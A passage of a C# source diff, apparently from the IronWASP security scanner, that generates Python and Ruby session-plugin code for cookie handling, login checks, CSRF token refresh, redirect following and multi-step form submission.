update_req_{0}(req)", i)); + } + RbMiddle.Append(" "); RbMiddle.AppendLine("end"); + } + else + { + RbMiddle.AppendLine(" #no update"); + RbMiddle.Append(" "); RbMiddle.AppendLine("return req"); + } + RbMiddle.Append(" "); RbMiddle.AppendLine("end"); + + //Declare other update_req_ methods + foreach (string MethodDec in UpdateToInectRequestMethodPyDeclarations.Values) + { + PyMiddle.AppendLine(); + PyMiddle.Append(MethodDec); + PyMiddle.AppendLine(); + } + foreach (string MethodDec in UpdateToInectRequestMethodRbDeclarations.Values) + { + RbMiddle.AppendLine(); + RbMiddle.Append(MethodDec); + RbMiddle.AppendLine(); + } + + //Declare the get_ask_user_message method + PyMiddle.AppendLine(); + PyMiddle.Append(" "); PyMiddle.AppendLine("def get_ask_user_message_format(self, param, section, hint):"); + PyMiddle.Append(" "); PyMiddle.AppendLine("return 'Enter the value of the ' + param + ' parameter in the ' + section + ' section of the Request. \\r\\nHint:\\r\\n' + hint"); + + RbMiddle.AppendLine(); + RbMiddle.Append(" "); RbMiddle.AppendLine("def get_ask_user_message_format(param, section, hint)"); + RbMiddle.Append(" "); RbMiddle.AppendLine(@"return 'Enter the value of the ' + param + ' parameter in the ' + section + "" section of the Request. \r\nHint:\r\n"" + hint"); + RbMiddle.Append(" "); RbMiddle.AppendLine("end"); + + + StringBuilder PyTop = new StringBuilder(); + StringBuilder RbTop = new StringBuilder(); + PyTop.AppendLine("from IronWASP import *"); + PyTop.AppendLine("from System import *"); + PyTop.AppendLine("import re"); + + RbTop.AppendLine("include IronWASP"); + + + if (PluginName.Length == 0) throw new Exception("Plugin Name is missing"); + //Declare the new Session Plugin class method + PyTop.AppendLine(); + PyTop.AppendLine(string.Format("class {0}(SessionPlugin):", PluginName)); + PyTop.AppendLine(); + + RbTop.AppendLine(); + RbTop.AppendLine(string.Format("class {0} < SessionPlugin", PluginName)); + RbTop.AppendLine(); + + //Declare the GetInstance method + PyTop.Append(" "); PyTop.AppendLine("def GetInstance(self):"); + PyTop.Append(" "); PyTop.AppendLine(string.Format("p = {0}()", PluginName)); + PyTop.Append(" "); PyTop.AppendLine(string.Format("p.Name = '{0}'", PluginName)); + PyTop.Append(" "); PyTop.AppendLine("p.init_instance_variables()"); + PyTop.Append(" "); PyTop.AppendLine("return p"); + PyTop.AppendLine(); + + RbTop.AppendLine(); + RbTop.Append(" "); RbTop.AppendLine("def GetInstance()"); + RbTop.Append(" "); RbTop.AppendLine(string.Format("p = {0}.new", PluginName)); + RbTop.Append(" "); RbTop.AppendLine(string.Format("p.name = '{0}'", PluginName)); + RbTop.Append(" "); RbTop.AppendLine("p.init_instance_variables"); + RbTop.Append(" "); RbTop.AppendLine("return p"); + RbTop.Append(" "); RbTop.AppendLine("end"); + RbTop.AppendLine(); + + //Declare the init_instance_variables method + PyTop.Append(" "); PyTop.AppendLine("def init_instance_variables(self):"); + PyTop.Append(" "); PyTop.AppendLine("self.cookie_store = CookieStore()"); + PyTop.Append(" "); PyTop.AppendLine("self.reqs = {}"); + foreach (string LabelName in RequestDeclarationsInCode.Keys) + { + foreach (string RequestName in RequestDeclarationsInCode[LabelName].Keys) + { + PyTop.Append(" "); PyTop.AppendLine(string.Format("self.reqs['{0}'] = {1}", RequestName, RequestDeclarationsInCode[LabelName][RequestName])); + } + } + PyTop.Append(" "); PyTop.AppendLine("self.ress = {}"); + PyTop.Append(" "); PyTop.AppendLine("self.last_main_request_signature = ''"); + + RbTop.Append(" "); RbTop.AppendLine("def init_instance_variables()"); + RbTop.Append(" "); RbTop.AppendLine("@cookie_store = CookieStore.new"); + RbTop.Append(" "); RbTop.AppendLine("@reqs = {}"); + foreach (string LabelName in RequestDeclarationsInCode.Keys) + { + foreach (string RequestName in RequestDeclarationsInCode[LabelName].Keys) + { + RbTop.Append(" "); RbTop.AppendLine(string.Format("@reqs['{0}'] = {1}", RequestName, RequestDeclarationsInCode[LabelName][RequestName])); + } + } + RbTop.Append(" "); RbTop.AppendLine("@ress = {}"); + RbTop.Append(" "); RbTop.AppendLine("@last_main_request_signature = ''"); + RbTop.Append(" "); RbTop.AppendLine("end"); + + + StringBuilder PyBottom = new StringBuilder(); + StringBuilder RbBottom = new StringBuilder(); + //end statement for the class declaration + RbBottom.AppendLine("end"); + RbBottom.AppendLine(); RbBottom.AppendLine(); + + //Add a instance of this SessionPlugin class to the list of Session Plugins + PyBottom.AppendLine(string.Format("p = {0}()", PluginName)); + PyBottom.AppendLine("SessionPlugin.Add(p.GetInstance())"); + + RbBottom.AppendLine(string.Format("p = {0}.new", PluginName)); + RbBottom.AppendLine("SessionPlugin.add(p.get_instance)"); + + List Comments = GetPSeudoCodeAsComments(); + PyBottom.AppendLine(); + RbBottom.AppendLine(); + foreach (string Comment in Comments) + { + PyBottom.AppendLine(Comment); + RbBottom.AppendLine(Comment); + } + + //Putting it all together + Py.Append(PyTop.ToString()); + Py.AppendLine(); + Py.Append(PyMiddle.ToString()); + Py.AppendLine(); + Py.Append(PyBottom.ToString()); + + + + Rb.Append(RbTop.ToString()); + Rb.AppendLine(); + Rb.Append(RbMiddle.ToString()); + Rb.AppendLine(); + Rb.Append(RbBottom.ToString()); + + Code[0] = Py.ToString(); + Code[1] = Rb.ToString(); + return Code; + } + + List GetPSeudoCodeAsComments() + { + List Comments = new List(); + Comments.Add("#PseudoCode used to generate this Plugin:"); + Comments.Add("#"); + Comments.Add("#"); + if (NamesOfCookieParametersToUpdate.Count > 0) + { + Comments.Add("#"); + Comments.Add("#Cookie parameter that will be updated from the Response of the 'Main Request':"); + Comments.Add("#"); + foreach (string Cookie in NamesOfCookieParametersToUpdate) + { + Comments.Add(string.Format("#{0}", Cookie)); + } + } + Comments.Add("#"); + if (UpdateCSRFTokensPseudoCode.Length > 0) + { + Comments.Add("#"); + Comments.Add("#Update CSRF token action PseudoCode:"); + Comments.Add("#"); + string[] Lines = UpdateCSRFTokensPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); + foreach (string Line in Lines) + { + Comments.Add(string.Format("#{0}", Line)); + } + } + Comments.Add("#"); + if (LoginActionPseudoCode.Length > 0) + { + Comments.Add("#"); + Comments.Add("#Login action PseudoCode:"); + Comments.Add("#"); + string[] Lines = LoginActionPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); + foreach (string Line in Lines) + { + Comments.Add(string.Format("#{0}", Line)); + } + } + Comments.Add("#"); + if (FollowRedirectPseudoCode.Length > 0) + { + Comments.Add("#"); + Comments.Add("#Follow Redirect PseudoCode:"); + Comments.Add("#"); + string[] Lines = FollowRedirectPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); + foreach (string Line in Lines) + { + Comments.Add(string.Format("#{0}", Line)); + } + } + Comments.Add("#"); + if (MultiStepActionPseudoCode.Length > 0) + { + Comments.Add("#"); + Comments.Add("#Multi-step Form Submission PseudoCode:"); + Comments.Add("#"); + string[] Lines = MultiStepActionPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); + foreach (string Line in Lines) + { + Comments.Add(string.Format("#{0}", Line)); + } + } + Comments.Add("#"); + return Comments; + } + + string[] PseudoCodeToDoBeforeInjectionCode() + { + string[] Code = new string[2]; + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + + Py.AppendLine(); + Py.Append(" "); Py.AppendLine("def DoBeforeSending(self, req, res):"); + Py.Append(" "); Py.AppendLine("self.Trace(req, 'Preparing \\'Main Request\\' before it is sent', 'The following request is the \\'Main Request\\'\\r\\n\\r\\n\\r\\n:' + req.ToString())"); + Py.Append(" "); Py.AppendLine("req.SetCookie(self.cookie_store)"); + Py.Append(" "); Py.AppendLine("self.update_req(req)"); + + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("def DoBeforeSending(req, res)"); + Rb.Append(" "); Rb.AppendLine(@"Trace(req, ""Preparing 'Main Request' before it is sent"", ""The following request is the 'Main Request' \r\n\r\n\r\n:"" + req.to_string)"); + Rb.Append(" "); Rb.AppendLine("req.set_cookie(@cookie_store)"); + Rb.Append(" "); Rb.AppendLine("update_req(req)"); + + if (LoginActionPseudoCode.Length > 0) + { + Py.Append(" "); Py.AppendLine("if not self.is_logged_in():"); + Py.Append(" "); Py.AppendLine("self.login_user(req)"); + + Rb.Append(" "); Rb.AppendLine("if not is_logged_in"); + Rb.Append(" "); Rb.AppendLine("login_user(req)"); + Rb.Append(" "); Rb.AppendLine("end"); + } + if (MultiStepActionPseudoCode.Length > 0) + { + Py.Append(" "); Py.AppendLine("req = self.multi_step_before_sending(req)"); + + Rb.Append(" "); Rb.AppendLine("req = multi_step_before_sending(req)"); + } + if (UpdateCSRFTokensPseudoCode.Length > 0) + { + Py.Append(" "); Py.AppendLine("req = self.update_csrf_tokens(req)"); + + Rb.Append(" "); Rb.AppendLine("req = update_csrf_tokens(req)"); + } + Py.Append(" "); Py.AppendLine("self.last_main_request_signature = Tools.MD5(req.ToString())"); + Py.Append(" "); Py.AppendLine("return req"); + Py.AppendLine(); + + Rb.Append(" "); Rb.AppendLine("@last_main_request_signature = Tools.md5(req.to_string)"); + Rb.Append(" "); Rb.AppendLine("return req"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + + + Code[0] = Py.ToString(); + Code[1] = Rb.ToString(); + return Code; + } + string[] PseudoCodeToDoAfterInjectionCode() + { + string[] Code = new string[2]; + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + + Py.AppendLine(); + Py.Append(" "); Py.AppendLine("def DoAfterSending(self, res, req):"); + Py.Append(" "); Py.AppendLine("self.Trace(req, '\\'Main Request\\' sent successfully and got the response', 'The \\'Main Request\\' has been sent to the server successfully and a response has been recieved. Click on the load request/response button to view the Main Request and its response.')"); + + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("def DoAfterSending(res, req)"); + Rb.Append(" "); Rb.AppendLine("Trace(req, '\\'Main Request\\' sent successfully and got the response', 'The \\'Main Request\\' has been sent to the server successfully and a response has been recieved. Click on the load request/response button to view the Main Request and its response.')"); + + string ResponseToReturn = "res"; + if (NamesOfCookieParametersToUpdate.Count > 0) + { + Py.Append(" "); Py.AppendLine("self.read_set_cookies(req, res)"); + + Rb.Append(" "); Rb.AppendLine("read_set_cookies(req, res)"); + } + if (MultiStepActionPseudoCode.Length > 0) + { + Py.Append(" "); Py.AppendLine("res_after_multi_step = self.multi_step_after_sending(res, req)"); + + Rb.Append(" "); Rb.AppendLine("res_after_multi_step = multi_step_after_sending(res, req)"); + + ResponseToReturn = "res_after_multi_step"; + } + if (FollowRedirectPseudoCode.Length > 0) + { + Py.Append(" "); Py.AppendLine(string.Format("res_after_follow_redirect = self.follow_redirect(req, {0})", ResponseToReturn)); + + Rb.Append(" "); Rb.AppendLine(string.Format("res_after_follow_redirect = follow_redirect(req, {0})", ResponseToReturn)); + + ResponseToReturn = "res_after_follow_redirect"; + } + Py.Append(" "); Py.AppendLine(string.Format("return {0}", ResponseToReturn)); + Py.AppendLine(); + + Rb.Append(" "); Rb.AppendLine(string.Format("return {0}", ResponseToReturn)); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + + Code[0] = Py.ToString(); + Code[1] = Rb.ToString(); + return Code; + } + + //Target code reference: + //Python + //def follow_redirect(req, res): + // if res.Code == 302: + // if res.Headers.Get("Location").startswith("./abcd/"): + // return req.Follow(res) + // return res + string[] NamesOfCookieParametersToUpdateListToCode() + { + string[] Code = new string[2]; + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + + Py.AppendLine(); + Py.Append(" "); Py.AppendLine("def read_set_cookies(self, req, res):"); + + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("def read_set_cookies(req, res)"); + + StringBuilder NamesList = new StringBuilder(); + foreach (string CookieName in NamesOfCookieParametersToUpdate) + { + NamesList.Append("'");NamesList.Append(CookieName.Replace("'", "\'"));NamesList.Append("'");NamesList.Append(","); + } + Py.Append(" "); Py.AppendLine(string.Format("cookies_to_update = [{0}]", NamesList.ToString().TrimEnd(new char[]{','}))); + Py.Append(" "); Py.AppendLine("for sc in res.SetCookies:"); + Py.Append(" "); Py.AppendLine("if cookies_to_update.count(sc.Name) > 0 and len(sc.Value) > 0:"); + Py.Append(" "); Py.AppendLine("self.cookie_store.Add(req, sc)"); + Py.AppendLine(); + + Rb.Append(" "); Rb.AppendLine(string.Format("cookies_to_update = [{0}]", NamesList.ToString().TrimEnd(new char[] { ',' }))); + Rb.Append(" "); Rb.AppendLine("for sc in res.set_cookies"); + Rb.Append(" "); Rb.AppendLine("if cookies_to_update.index(sc.name) and sc.value.length > 0"); + Rb.Append(" "); Rb.AppendLine("@cookie_store.add(req, sc)"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + + Code[0] = Py.ToString(); + Code[1] = Rb.ToString(); + return Code; + } + string[] FollowRediretPseudoCodeToCode() + { + string[] Code = new string[2]; + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Regex FullFollowRedirectRegex = new Regex(@"FollowRedirect Code (\d{3}) Location (StartsWith|EndsWith|Has|NotHas|Regex) (.+)"); + Regex CodeOnlyFollowRedirectRegex = new Regex(@"FollowRedirect Code (\d{3})"); + string ResponseCode = ""; + string MatchType = ""; + string Keyword = ""; + + Match M = FullFollowRedirectRegex.Match(FollowRedirectPseudoCode); + if(M.Success) + { + ResponseCode = M.Groups[1].Value; + MatchType = M.Groups[2].Value; + Keyword = M.Groups[3].Value; + } + else + { + M = CodeOnlyFollowRedirectRegex.Match(FollowRedirectPseudoCode); + if(M.Success) + { + ResponseCode = M.Groups[1].Value; + } + else + { + throw new Exception("Invalid Pseudo Code"); + } + } + + Py.AppendLine(); + Py.Append(" "); Py.AppendLine("def follow_redirect(self, req, res):"); + Py.Append(" "); Py.AppendLine(string.Format("if self.can_follow_redirect(req, res):", ResponseCode)); + + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("def follow_redirect(req, res)"); + Rb.Append(" "); Rb.AppendLine(string.Format("if can_follow_redirect(req, res)", ResponseCode)); + + Py.Append(" "); Py.AppendLine("try:"); + Py.Append(" "); Py.AppendLine("redirect_req = req.GetRedirect(res)"); + Py.Append(" "); Py.AppendLine("if redirect_req:"); + Py.Append(" "); Py.AppendLine("res = redirect_req.Send()"); + Py.Append(" "); Py.AppendLine("self.Trace(redirect_req, 'Followed redirection in the response for Main Request', 'The response for the Main Request had a redirect that matched the signature specified by user, so it was followed. Click on the load request/response button to view the request that was made to follow the redirect and its response.')"); + Py.Append(" "); Py.AppendLine("return res"); + Py.Append(" "); Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("self.Trace(req, 'No redirect in the in the response for Main Request', 'The response for the Main Request did not have a redirect so the follow redirect action is not being performed. Click on the load request/response button to view the Main Request and its response.')"); + Py.Append(" "); Py.AppendLine("return res"); + Py.Append(" "); Py.AppendLine("except Exception as e:"); + Py.Append(" "); Py.AppendLine("self.Trace(req, 'Error following redirection in the response for Main Request', 'The response for the Main Request had a redirect that matched the signature specified by user, so it was followed. But there was an error when following it. Click on the load request/response button to view the Main Request and its response. Exception details - ' + e.Message)"); + Py.Append(" "); Py.AppendLine("raise e"); + + Rb.Append(" "); Rb.AppendLine("begin"); + Rb.Append(" "); Rb.AppendLine("redirect_req = req.get_redirect(res)"); + Rb.Append(" "); Rb.AppendLine("if redirect_req"); + Rb.Append(" "); Rb.AppendLine("res = redirect_req.send_req"); + Rb.Append(" "); Rb.AppendLine("Trace(redirect_req, 'Followed redirection in the response for Main Request', 'The response for the Main Request had a redirect that matched the signature specified by user, so it was followed. Click on the load request/response button to view the request that was made to follow the redirect and its response.')"); + Rb.Append(" "); Rb.AppendLine("return res"); + Rb.Append(" "); Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("Trace(req, 'No redirect in the in the response for Main Request', 'The response for the Main Request did not have a redirect so the follow redirect action is not being performed. Click on the load request/response button to view the Main Request and its response.')"); + Rb.Append(" "); Rb.AppendLine("return res"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("rescue => e"); + Rb.Append(" "); Rb.AppendLine("Trace(req, 'Error following redirection in the response for Main Request', 'The response for the Main Request had a redirect that matched the signature specified by user, so it was followed. But there was an error when following it. Click on the load request/response button to view the Main Request and its response. Exception details - ' + e.Message)"); + Rb.Append(" "); Rb.AppendLine("raise e"); + Rb.Append(" "); Rb.AppendLine("end"); + + Py.Append(" "); Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("self.Trace(req, 'Did not follow redirection in the response for Main Request', 'The response for the Main Request did not match the redirect signature specified by user so it was not followed. Click on the load request/response button to view the Main Request and its response.')"); + Py.Append(" "); Py.AppendLine("return res"); + Py.AppendLine(); + + Rb.Append(" "); Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("Trace(req, 'Did not follow redirection in the response for Main Request', 'The response for the Main Request did not match the redirect signature specified by user so it was not followed. Click on the load request/response button to view the Main Request and its response.')"); + Rb.Append(" "); Rb.AppendLine("return res"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + + + Py.AppendLine(); + Py.Append(" "); Py.AppendLine("def can_follow_redirect(self, req, res):"); + Py.Append(" "); Py.AppendLine(string.Format("if res.Code == {0} and res.Headers.Has('Location'):", ResponseCode)); + + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("def can_follow_redirect(req, res)"); + Rb.Append(" "); Rb.AppendLine(string.Format("if res.code == {0} && res.headers.has('Location')", ResponseCode)); + + if (MatchType.Length > 0 && Keyword.Length > 0) + { + switch (MatchType) + { + case ("StartsWith"): + Py.Append(" "); Py.AppendLine(string.Format("if res.Headers.Get('Location').startswith('{0}'):", Keyword)); + Rb.Append(" "); Rb.AppendLine(string.Format("if res.headers.get('Location').start_with?('{0}')", Keyword)); + + Py.Append(" "); Py.AppendLine("return True"); + Rb.Append(" "); Rb.AppendLine("return true"); + Rb.Append(" "); Rb.AppendLine("end"); + break; + case ("EndsWith"): + Py.Append(" "); Py.AppendLine(string.Format("if res.Headers.Get('Location').endswith('{0}'):", Keyword)); + Rb.Append(" "); Rb.AppendLine(string.Format("if res.headers.get('Location').end_with?('{0}')", Keyword)); + + Py.Append(" "); Py.AppendLine("return True"); + Rb.Append(" "); Rb.AppendLine("return true"); + Rb.Append(" "); Rb.AppendLine("end"); + break; + case ("Has"): + Py.Append(" "); Py.AppendLine(string.Format("if res.Headers.Get('Location').count('{0}') > 0:", Keyword)); + Rb.Append(" "); Rb.AppendLine(string.Format("if res.headers.get('Location').index('{0}')", Keyword)); + + Py.Append(" "); Py.AppendLine("return True"); + Rb.Append(" "); Rb.AppendLine("return true"); + Rb.Append(" "); Rb.AppendLine("end"); + break; + case ("NotHas"): + Py.Append(" "); Py.AppendLine(string.Format("if res.Headers.Get('Location').count('{0}') == 0:", Keyword)); + Rb.Append(" "); Rb.AppendLine(string.Format("if not res.headers.get('Location').index('{0}')", Keyword)); + + Py.Append(" "); Py.AppendLine("return True"); + Rb.Append(" "); Rb.AppendLine("return true"); + Rb.Append(" "); Rb.AppendLine("end"); + break; + case ("Regex"): + if (!(Keyword.StartsWith("/") && Keyword.EndsWith("/"))) throw new Exception("Invalid Pseudo Code"); + Py.Append(" "); Py.AppendLine(string.Format("if re.match('{0}', res.Headers.Get('Location')):", Keyword.Trim('/'))); + Rb.Append(" "); Rb.AppendLine(string.Format("if res.headers.get('Location') =~ /{0}/", Keyword.Trim('/'))); + + Py.Append(" "); Py.AppendLine("return True"); + Rb.Append(" "); Rb.AppendLine("return true"); + Rb.Append(" "); Rb.AppendLine("end"); + break; + } + } + else + { + Py.Append(" "); Py.AppendLine("return True"); + Rb.Append(" "); Rb.AppendLine("return true"); + } + Rb.Append(" "); Rb.AppendLine("end"); + + Py.Append(" "); Py.AppendLine("return False"); + Rb.Append(" "); Rb.AppendLine("return false"); + Rb.Append(" "); Rb.AppendLine("end"); + + Code[0] = Py.ToString(); + Code[1] = Rb.ToString(); + return Code; + } + string[] LoginActionPseudoCodeToCode() + { + RequestDeclarationsInCode[LoginCheckLabel] = new Dictionary(); + RequestDeclarationsInCode[PerformLoginLabel] = new Dictionary(); + + string[] Code = new string[2]; + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + string[] Steps = LoginActionPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); + List LoginCheckRequestSteps = new List(); + List LoggedInLoggedOutSignatureSteps = new List(); + List PerformLoginSteps = new List(); + + string Mode = "LoginCheck"; + for (int i = 0; i < Steps.Length; i++) + { + switch (Mode) + { + case("LoginCheck"): + if (Steps[i].Equals("LoggedInSignatureBegins") || Steps[i].Equals("LoggedOutSignatureBegins")) + { + Mode = "LoggedInLoggedOutSignature"; + LoggedInLoggedOutSignatureSteps.Add(Steps[i]); + } + else + { + LoginCheckRequestSteps.Add(Steps[i]); + } + break; + case("LoggedInLoggedOutSignature"): + if (Steps[i].Equals("LoggedInSignatureEnds") || Steps[i].Equals("LoggedOutSignatureEnds")) + { + Mode = "PerformLogin"; + } + LoggedInLoggedOutSignatureSteps.Add(Steps[i]); + break; + case ("PerformLogin"): + PerformLoginSteps.Add(Steps[i]); + break; + } + } + + Py.AppendLine(); + Py.Append(" "); Py.AppendLine("def is_logged_in(self):"); + + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("def is_logged_in()"); + + string[] LoginCheckCode = RequestSourceAndParametersUpdatePseudoCodeToCode(LoginCheckLabel, LoginCheckRequestSteps); + Py.Append(LoginCheckCode[0]); + Rb.Append(LoginCheckCode[1]); + + string[] ResponseSignatureCode = ResponseSignaturePseudoCodeToCode(LoginCheckLabel, LoggedInLoggedOutSignatureSteps, string.Format("res_{0}",LoginCheckCode[3])); + Py.Append(ResponseSignatureCode[0]); + Py.AppendLine(); + Rb.Append(ResponseSignatureCode[1]); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + + Py.AppendLine(); + Py.Append(" "); Py.AppendLine("def login_user(self, req):"); + Py.Append(" "); Py.AppendLine("self.Trace(None, 'User is logged out, performing login', 'User is logged out, performing login')"); + + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("def login_user(req)"); + Rb.Append(" "); Rb.AppendLine("Trace(nil, 'User is logged out, performing login', 'User is logged out, performing login')"); + + string[] PerformLoginCode = RequestSourceAndParametersUpdatePseudoCodeToCode(PerformLoginLabel, PerformLoginSteps); + Py.Append(PerformLoginCode[0]); + Rb.Append(PerformLoginCode[1]); + + Py.Append(" "); Py.AppendLine("if self.is_logged_in():"); + Py.Append(" "); Py.AppendLine("self.Trace(None, 'Login Successful', 'User was successfully logged in.')"); + Py.Append(" "); Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("self.Trace(None, 'Login failed', 'Unable to perform a successful login')"); + Py.Append(" "); Py.AppendLine("raise Exception('Unable to log user in')"); + Py.AppendLine(); + + Rb.Append(" "); Rb.AppendLine("if is_logged_in"); + Rb.Append(" "); Rb.AppendLine("Trace(nil, 'Login Successful', 'User was successfully logged in.')"); + Rb.Append(" "); Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("Trace(nil, 'Login failed', 'Unable to perform a successful login')"); + Rb.Append(" "); Rb.AppendLine("raise 'Unable to log user in'"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + + Rb.Append(" "); Rb.AppendLine("end"); + + Code[0] = Py.ToString(); + Code[1] = Rb.ToString(); + return Code; + } + string[] MultiStepActionPseudoCodeToCode() + { + RequestDeclarationsInCode[MultiStepPreLabel] = new Dictionary(); + RequestDeclarationsInCode[MultiStepPostLabel] = new Dictionary(); + + string[] Code = new string[2]; + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + string[] Steps = MultiStepActionPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); + List PreInjectionSteps = new List(); + List PostInjectionSteps = new List(); + + string Mode = "-"; + for (int i = 0; i < Steps.Length; i++) + { + switch (Mode) + { + case ("-"): + if (Steps[i].Equals("PreInjectionCode:")) + Mode = "PreInjection"; + else if (Steps[i].Equals("PostInjectionCode:")) + Mode = "PostInjection"; + else + throw new Exception("Invalid Pseudo Code"); + break; + case ("PreInjection"): + if (Steps[i].Equals("PostInjectionCode:")) + Mode = "PostInjection"; + else + PreInjectionSteps.Add(Steps[i]); + break; + case ("PostInjection"): + PostInjectionSteps.Add(Steps[i]); + break; + } + } + Py.AppendLine(); + Py.Append(" "); Py.AppendLine("def multi_step_before_sending(self, req):"); + Py.Append(" "); Py.AppendLine("self.Trace(None, 'Going to perform pre-\\'Main Request\\' steps of Multi-Step form submission', 'User selected requests that must be sent as part of multi-step form submission before the \\'Main Request\\' is sent, are going to be sent now.')"); + + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("def multi_step_before_sending(req)"); + Rb.Append(" "); Rb.AppendLine("Trace(nil, 'Going to perform pre-\\'Main Request\\' steps of Multi-Step form submission', 'User selected requests that must be sent as part of multi-step form submission before the \\'Main Request\\' is sent, are going to be sent now.')"); + + string[] PreInjectionCode = RequestSourceAndParametersUpdatePseudoCodeToCode(MultiStepPreLabel, PreInjectionSteps); + Py.Append(PreInjectionCode[0]); + Rb.Append(PreInjectionCode[1]); + + Py.Append(" "); Py.AppendLine("return req"); + Py.AppendLine(); + + Rb.Append(" "); Rb.AppendLine("return req"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + + Py.AppendLine(); + Py.Append(" "); Py.AppendLine("def multi_step_after_sending(self, res, req):"); + Py.Append(" "); Py.AppendLine("self.Trace(None, 'Going to perform post-\\'Main Request\\' steps of Multi-Step form submission', 'User selected requests that must be sent as part of multi-step form submission after the \\'Main Request\\' is sent, are going to be sent now.')"); + + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("def multi_step_after_sending(res, req)"); + Rb.Append(" "); Rb.AppendLine("Trace(nil, 'Going to perform post-\\'Main Request\\' steps of Multi-Step form submission', 'User selected requests that must be sent as part of multi-step form submission after the \\'Main Request\\' is sent, are going to be sent now.')"); + + string[] PostInjectionCode = RequestSourceAndParametersUpdatePseudoCodeToCode(MultiStepPostLabel, PostInjectionSteps); + Py.Append(PostInjectionCode[0]); + Rb.Append(PostInjectionCode[1]); + if (PostInjectionCode[3].Equals("0")) + { + Py.Append(" "); Py.AppendLine("return res"); + Rb.Append(" "); Rb.AppendLine("return res"); + } + else + { + Py.Append(" "); Py.AppendLine(string.Format("return res_{0}", PostInjectionCode[3])); + Rb.Append(" "); Rb.AppendLine(string.Format("return res_{0}", PostInjectionCode[3])); + } + Py.AppendLine(); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + + Code[0] = Py.ToString(); + Code[1] = Rb.ToString(); + return Code; + } + string[] UpdateCSRFTokensPseudoCodeToCode() + { + RequestDeclarationsInCode[UpdateCsrfLabel] = new Dictionary(); + + string[] Code = new string[2]; + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + List TokenUpdateSteps = new List(UpdateCSRFTokensPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries)); + + Py.AppendLine(); + Py.Append(" "); Py.AppendLine("def update_csrf_tokens(self, req):"); + Py.Append(" "); Py.AppendLine("self.Trace(None, 'Going to update CSRF tokens of the \\'Main Request\\'', 'Any CSRF token in the \\'Main Request\\' that have been selected to be updated before the request is sent are going to be updated now.')"); + + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("def update_csrf_tokens(req)"); + Rb.Append(" "); Rb.AppendLine("Trace(nil, 'Going to update CSRF tokens of the \\'Main Request\\'', 'Any CSRF token in the \\'Main Request\\' that have been selected to be updated before the request is sent are going to be updated now.')"); + + string[] CSRFTokensUpdateCode = RequestSourceAndParametersUpdatePseudoCodeToCode(UpdateCsrfLabel, TokenUpdateSteps); + Py.Append(CSRFTokensUpdateCode[0]); + Rb.Append(CSRFTokensUpdateCode[1]); + + Py.Append(" "); Py.AppendLine("return req"); + Py.AppendLine(); + + Rb.Append(" "); Rb.AppendLine("return req"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + + Code[0] = Py.ToString(); + Code[1] = Rb.ToString(); + return Code; + } + + string[] RequestSourceAndParametersUpdatePseudoCodeToCode(string Label, List PseudoCodeLines) + { + return RequestSourceAndParametersUpdatePseudoCodeToCode(Label, PseudoCodeLines, 0, 0, 0); + } + string[] RequestSourceAndParametersUpdatePseudoCodeToCode(string Label, List PseudoCodeLines, int ReqCounter, int ResCounter, int ParamCounter) + { + string[] Code = new string[4]; + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + int MaxCounter = 0; + RequestDeclarationsInCode[Label] = new Dictionary(); + + Regex RequestSourceRegex = new Regex(@"GetRequest\[(.*?)\] (.+?)\-(\d+)"); + + List RequestNames = new List(); + + foreach (string PseudoCodeLine in PseudoCodeLines) + { + if (PseudoCodeLine.StartsWith("GetRequest")) + { + Match M = RequestSourceRegex.Match(PseudoCodeLine); + if (M.Success) + { + string RequestName = M.Groups[1].Value; + RequestNames.Add(RequestName); + string Source = M.Groups[2].Value; + string ID = M.Groups[3].Value; + string RequestBinaryString = ""; + string RequestDeclarationName = ""; + string RequestDeclarationValue = ""; + ReqCounter++; + + switch (Source) + { + case ("Proxy"): + 